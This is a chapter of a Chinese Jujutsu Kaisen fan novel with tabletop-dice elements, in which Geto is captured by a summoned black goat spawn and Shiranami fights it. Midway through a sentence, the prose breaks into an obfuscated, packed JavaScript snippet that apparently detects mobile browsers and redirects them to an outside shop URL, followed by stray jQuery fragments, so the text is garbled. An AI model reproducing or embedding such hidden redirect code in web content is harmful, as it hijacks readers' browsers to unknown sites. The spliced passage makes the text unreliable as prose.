主楼的防御结界一开,就不是他们这队小卡拉米们能搞定的了。


    刚好,进攻总监部的分队表示要冲击大门,正大光明的闯进去,其他的队伍纷纷应合,放下了自己手里原本的目标都冲向了总监部总部。


    复古的庭院院墙外,是一名已经两股战战的护卫,看样子另外一个应该是已经进去通报有人袭击了。


    诅咒师这边,则是越恶贯满盈或有深仇大恨的家伙,就越站得靠前,他们看着那门里涌出更多的护卫,就像是看着待宰的羔羊们争相出栏。


    “上!”


    不知道谁突然高喊了一声,顿时场上的两方势力战作一团。


    夏油杰见此场景,默默后退,直至退到众人看不到他为止。


    “夏油先生?”


    他刚脱下身上的黑袍就听到身后有人喊他,身上瞬间就起了一层鸡皮疙瘩,现在他可已经是特级了,但他竟然丝毫没察觉到刚刚自己身后有人!


    “谁!”他飞速转身看去,一个熟悉的女人站到他身后,正笑盈盈的看着他。


    是他找的代理人。


    “是你?”


    夏油杰表面犹豫,实则暗中提高了警惕。


    按理来说他是不会被这种程度的诅咒师跟踪的,而这女人当初交上来的履历中写有的术式也绝不和隐秘气息有关。


    这人有诈。


    夏油杰时刻注意着她的风吹草动,就打算在对方动手的那一刻后发先至。


    “你怎么在这儿?”先话疗一下,分散对方的注意力。


    “夏油先生这说的什么话,我在这儿当然是因为战术安排中这里就是我的位置啊。”


    这里?


    这里离战斗区域足足数百米远,你把自己定在这儿干嘛。


    夏油杰面上神色没有丝毫松懈,但这女人却像是知道他的疑问一样,直接说:“这儿的位置可是我特意算过的,这里刚刚好。”


    “不光能让我的小玩具看到,也能顺便买一送一。”


    这回夏油杰脸上神情微变,内心隐隐有了非常不好的预感。


    “其实我很好奇呢,你们看起来和别人不同的特级有三个,一个被泡泡看上了,一个怎么玩也玩不坏,那最后一个你……”


    她上前两步,将自己纤细的指尖顶在夏油杰的胸口。


    夏油杰浑身僵硬,无法动弹,目光只能直直投向女人身后那个正发着微光的阵法,耳边隐约听到女人未说完的话。


    “希望你也能一样有趣。”


    ————————


    真疼。


    就像是在进行一场不打麻药的开颅手术一样,总有种自己脑壳被撬开的奇怪联想。


    但太痛了。


    白波月半伏在地上,一只手勉强撑住地面,另一只手则狠狠的捂住自己头痛最剧烈的位置。


    这种感觉好像似曾相识,但每一次疼痛的记忆淡化后,他都很难再回忆起当初疼痛的感受。


    隐隐约约能听到总监部正门那里打砸的声响,白波月的门再次被敲开。


    “白波先生,总监部吩咐,要你去处理一下总部门口的叛党,生死不论。”


    吩咐,吩咐的,吵死了!


    没看他现在正痛的厉害吗!


    白波月脸上一贯温和的笑容裂开,变得狰狞可憎起来。头痛使他根本没法顾及脸上的眼镜是否还在原位,现在看到眼前这个顶着个螳螂头的家伙在他面前叭叭的说着废话,他心中就升腾起一股无名火。


    “闭嘴……”他五指用力,狠狠扣紧头皮,血液从伤口中蔓延而出,顺着脸颊、顺着手背,蜿蜒出两条血痕。


    “你没听到吗,这可是总监部的命令!”


    他真的忍很久了,真是什么垃圾都想爬到他的脑袋顶上。


    “闭嘴。”这次他确定他吐出了这句话。


    “你这是什么态度,总监部派你去处理这个件事,是你的荣幸,你以为霓虹只有你一个特级吗,不过区区特级……”


    “我说话你听不到吗……”白波月摇晃着站起身,他黑沉沉的的眼瞳和螳螂眼对视,没有丝毫起手的闪现而出。


    “我叫你!……闭嘴!”一声怒吼。


    他单手抓住对方的螳螂须,狠狠将对方的头扣在地上,砸进去一个不浅的坑。


    砸进去之后,聒噪的声音便随着那瘫软在地的身体停止颤动而停止了。


    终于安静了。


    白波月按揉了一下耳廓,丢下一枚[敏捷]就朝总监部总部飞驰而去。


    啧,杰的计划好像出问题了。


    另一边。


    夏油杰正于此刻,看到了他人生中最震撼、最诡异,也最恶心的一幕。


    那散发着微光的阵法上,一个黑色的圆球正逐渐胀大,就像是一个卵泡,里面的东西正挥舞着自己的手臂试图破壳而出。


    他越来越大,越来越大。


    吞噬了阵法,淹没了草地,又将周遭的树丛尽数吞并,他长到足足三人高才放缓了膨胀的速度。


    “那是,什么……”


    夏油杰喉中干涩,总感觉有什么东西要随着面前的卵破壳而呕出,他口中喃喃的念着自己都不知道再说什么的话语,眼睛被牢牢吸引在这个巨大的黑球上。


    “这是召唤仪式的一部分,因为小朋友只能在黑夜中召唤,但我又等不到那个时候,所以干脆给他制造了一个黑暗,然后就能随时随地的召唤啦。”


    “我是不是很聪明?”女人温婉的笑容挡在夏油杰面前,阻断了夏油杰看向黑球的视线。


    这时夏油杰才能勉强拉回一些自己神志,他用惊魂未定的目光看过去,竟然在此刻才意识到这女人的脸对他来说是模糊的。


    他看不清,更记不清,就像是触摸世界的时候却摸到了毛玻璃。


    大脑里只有这个女人很漂亮这个形容,其余的,一概没有。


    咦?


    这个容貌的形容,是不是在哪里听到过相似的?


    无声的骰子于此刻落下,没有人为干预,夏油杰展现了他原本的运气。


    只能说,幸好白波月看不到骰点的结果,不然他肯定会发出一声足够尖锐的爆鸣!


    [4/80]


    [大成功]


    什么大成功?


    灵感大成功!


    夏油杰此刻的灵魂仿佛飘荡在无边无际的宇宙中,在无光又无声的空间里,他漫无目的伸出手,好像总能触摸到什么冰冷的东西。


    原是他正被包裹在很多黑色云雾状的东西里,不知道是什么,也没有特别的手感,云雾慢慢的翻滚着,时不时凝聚成章鱼的触手或是羊的蹄子。


    就在夏油杰感到不知所谓的时候,黑色的云雾中突然睁开一只金色的横瞳。


    如同山羊一般。


    ……


    被看到了。


    这个想法在看到那只眼睛后,就疯狂的涌入夏油杰的大脑,cpu被占满,大脑艰涩的转动,仿佛缺乏润滑的金属部件彼此僵硬的摩擦。


    然后,他失去了意识。


    ————————


    白波月到的时候已经算来晚了,巨大的黑山羊幼崽正挥舞着自己的触手,用足下的羊蹄一脚一个的踩爆人类的头。


    最令他惊讶的是,夏油杰竟然安稳的站在黑山羊幼崽的头顶上。


    他被一根触手托起,正展开双臂高声呼喊着什么。


    “渣滓,渣滓,没有资格活着的渣滓!成为祭品吧,那是你们最好的归宿!”


    真吵,这边也吵的不行。


    人耳听不到的尖啸在他耳边环绕,来源正是那正欢快的踩爆浆人头的黑山羊幼崽。


    白波月原本就是被总监部突然带过来的,而总监部的烂橘子们自然不可能让他带着他的武器短棍,所以在头痛和烦躁的情绪驱使下,他选择直接抽出那支从神明那里得到的长笛。


    管他呢!


    这长笛,不也是棍子吗!


    术式弹出提示框来发出提醒,现在进入战斗轮,他之前没用完的敏捷让他快羊一步,成功拿到了先手。


    他手中笛子毫不犹豫的横扫,先把站在黑山羊幼崽之上的夏油杰直接扫飞,而后他手中长笛一转,又狠狠的刺进了黑山羊幼崽其中一张嘴上。


    随后他抽身离开,留下黑山羊幼崽在原地发出了巨大


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947609|188940||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的怒吼,像是被欺负的小婴儿只能无能狂怒,不过还是不一样,黑山羊幼崽祂可有的是手段。


    他四只巨大的蹄足狠狠地扎根在地上,如同鞭子的触手在空气中挥舞出狠厉的破空声,带着一阵阵恶臭的气味,一齐攻向了白波月。


    白波月狞笑着握紧手中的长笛,瞄准黑山羊幼崽挥舞来的触手,一棍一个通通打飞。


    接下来就是瞄准祂的头……管他头在哪儿呢,打不了就日的一声都打成糊糊。


    长笛横于胸前,白波月身侧骰子一个个凭空出现,叮叮当当掉落一地,全部都是数字1。


    “哈,试试这个。”


    咒力被他大量的压缩进长笛里面,笛子被包裹在黑色的咒力当中,浓郁到近乎能滴落在地。


    就在白波月想要一个突进把这一棍锤到黑山羊幼崽的脸上时,他突然被人抱住腰往后猛地用力一拉。


    被这一扯差点闪到的白波月紧忙回头,却发现拉住他的人,他根本就不认识。


    随后,又有更多的人飞扑过来,像是叠罗汉一样想要把白波月埋起来,白波月挣脱了两次就放弃了,这些人实在是没完没了,与其把他们都打死浪费时间,还不如来波大的直接让他们清醒清醒。


    “我说,你不好奇吗?”他不知道在和谁说话。


    “悟是最强的战力所以是特级,杰能无限收容咒灵吼放出后一个大军,所以也是特级。”


    “你想知道,我为什么也能成为特级吗?”


    他的话说完场面竟然停顿了一瞬,在林中隐去身形的人站到被打飞的夏油杰身边,用颇感兴味的目光看着白波月。


    白波月抬起手,他手中正是一把骰子。指尖松开,无数的骰子就像永不枯竭的泉水那般不断的从他掌心中涌出,滚落在地。


    【术式:人生一骰】


    人有千般变化,万般想法,但那些都不重要。在他的术式下,所有的人行为都会变得一致可控,而结果,自然是由他选择。


    无数个骰点的界面在他眼前闪过又消失,无数个人的精神成为了他掌中可以肆意玩弄的东西,无数个骰子替代了人的意志,替人们做出决定。


    [意志检定]


    [1/∞]


    [大成功]


    原本还还前仆后继的冲向白波月的人神志瞬间回归,有很多人只是茫然的看着自己手中的动作,和滚落到脚边的骰子,不知道发生了什么。


    刚刚发生了什么?


    其实只是白波月用自己的术式给在场的所有人来了次意志检定,每人一次。只要检定成功,他们就会脱离被控制的状态,这样他就可以干脆利落的摆脱这些累赘,然后解决掉这个不知道是谁召唤的黑山羊幼崽了。


    “好啦,现在轮到你了。”


    随意踢开脚旁的骰子,白波月再次蓄力,棍尖直指黑山羊幼崽。


    啪啪啪。


    一个突兀又清脆的鼓掌声从旁边的树林中传来,再次打断了他的攻势。一个女人踩着高跟鞋,手上拖着失去意识的夏油杰,一步一步走到了白波月看得到的位置。


    白波月手中紧握的笛子瞬间握的更紧,手背甚至在一瞬迸出明显的青筋来。


    劫持?还是人质?


    那女人抬起她手边夏油杰的脸,好叫白波月看个清楚,在看到白波月眼中明显的动摇后,她满意的笑了。


    “有这么明显的弱点可不好,我要是这样的话,你要怎么办?”


    说完,她扬手把夏油杰重新丢向黑山羊幼崽,但幼崽却不像之前那样把夏油杰顶在自己头上,而是在白波月目呲欲裂中,张开他最大的嘴,一口把夏油杰吞了进去。


    “杰!”


    白波月崩溃的冲向黑山羊幼崽的位置,用长笛疯狂殴打,间接还打出了两次黑闪,但就算这样,黑山羊幼崽那厚到不知道哪里去的血条还是没下多少。


    可恶。


    他原本可以通过咒力来形成一瞬巨大的冲击,用以放逐黑山羊幼崽的,但现在杰被吞下去了,虽然还没死,但冲击的方法已经不能使用了。


    现在该怎么办。


    他该怎么办,才能把杰顺利的带出来啊!